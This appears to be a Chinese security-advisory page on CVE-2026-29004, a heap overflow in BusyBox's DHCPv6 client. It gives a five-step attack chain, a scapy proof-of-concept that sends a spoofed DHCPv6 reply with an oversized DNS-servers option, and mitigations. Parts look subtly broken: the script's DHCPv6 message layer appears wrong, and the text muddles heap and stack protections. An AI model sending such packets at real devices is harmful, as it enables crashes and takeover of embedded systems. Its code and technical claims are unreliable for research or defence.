IPBUF安全漏洞报告
English
CVE-2026-29004 CVSS 8.1 高危

CVE-2026-29004 BusyBox DHCPv6客户端堆溢出漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-29004
漏洞类型
堆缓冲区溢出
CVSS评分
8.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BusyBox

相关标签

堆缓冲区溢出BusyBoxDHCPv6远程代码执行IoT安全

漏洞概述

BusyBox在commit 42202bf之前的版本中存在堆缓冲区溢出漏洞。该漏洞位于DHCPv6客户端(udhcpc6)的DNS_SERVERS选项处理逻辑中。由于`option_to_env()`函数对堆缓冲区的分配计算存在错误,网络邻近攻击者可发送包含恶意构造D6_OPT_DNS_SERVERS选项的DHCPv6响应包。利用此漏洞,攻击者可触发内存损坏,导致拒绝服务,或在未启用堆加固的嵌入式系统上执行任意代码。

技术细节

该漏洞位于BusyBox源码的`networking/udhcp/d6_dhcpc.c`文件中,主要由`option_to_env()`函数的实现缺陷导致。该函数在解析DHCPv6响应包中的DNS服务器选项(D6_OPT_DNS_SERVERS)时,未正确验证输入数据长度与堆缓冲区大小的关系。当处理特制的选项长度时,函数会向过小的缓冲区写入过量数据,引发堆缓冲区溢出。由于许多嵌入式系统缺乏严格的堆保护机制(如ASLR或Stack Canaries),攻击者可利用此内存破坏漏洞覆盖返回地址或函数指针,从而劫持控制流,实现远程代码执行或导致系统崩溃。

攻击链分析

STEP 1
Reconnaissance
攻击者扫描本地网络段,识别运行BusyBox且启用了DHCPv6客户端的嵌入式设备。
STEP 2
Traffic Analysis
监听网络中的DHCPv6 Solicit报文,获取目标客户端的事务ID(Transaction ID)和MAC地址。
STEP 3
Exploit Crafting
构造恶意的DHCPv6 Reply报文,其中包含特制的D6_OPT_DNS_SERVERS选项,该选项的长度字段旨在触发堆缓冲区溢出。
STEP 4
Attack Delivery
将伪造的DHCPv6响应包发送给目标设备,诱导udhcpc6客户端处理该恶意选项。
STEP 5
Impact
触发BusyBox的堆溢出,导致设备崩溃(DoS)或在无堆保护的系统上执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-29004 BusyBox DHCPv6 Heap Overflow # This script crafts a malicious DHCPv6 packet to trigger the buffer overflow in udhcpc6. from scapy.all import * import sys # Configuration interface = "eth0" target_mac = "00:11:22:33:44:55" src_mac = "aa:bb:cc:dd:ee:ff" src_link_local = "fe80::aabb:ccff:fecc:ddee" target_link_local = "fe80::211:22ff:fe33:4455" # Construct the malicious DHCPv6 Reply # The vulnerability lies in the handling of D6_OPT_DNS_SERVERS (option 23). # We set a length that triggers the miscalculation in option_to_env(). eth = Ether(src=src_mac, dst=target_mac) ipv6 = IPv6(src=src_link_local, dst=target_link_local) udp = UDP(sport=547, dport=546) # DHCPv6 Server to Client # Transaction ID must match the client's Solicit xid = 0x123456 # Malformed DNS Servers option payload (Option 23) # Sending excessive data to trigger the heap overflow dns_opt_payload = b"\x00" * 300 # Build DHCPv6 Options dhcp6_options = [ DHCP6OptServerId(duid=DUID_LL(lladdr=src_mac)), DHCP6OptClientId(duid=DUID_LL(lladdr=target_mac)), DHCP6OptIA_NA(iaid=1, T1=3600, T2=5400), # Injecting the malformed option directly DHCP6OptUnknown(optcode=23, optlen=len(dns_opt_payload), optdata=dns_opt_payload) ] pkt = eth / ipv6 / udp / DHCP6_Option(trid=xid) / dhcp6_options print(f"[*] Sending malicious DHCPv6 packet to {target_mac}...") # sendp(pkt, iface=interface, verbose=1) print("[!] Packet crafted. Verify in a controlled lab environment.")

影响范围

BusyBox < commit 42202bf

防御指南

临时缓解措施
在网络层实施DHCPv6 Snooping以阻断非法的DHCPv6服务器响应。如果业务允许,建议在设备上禁用DHCPv6客户端功能。此外,应限制对嵌入式设备管理接口的物理和网络访问,降低邻接攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表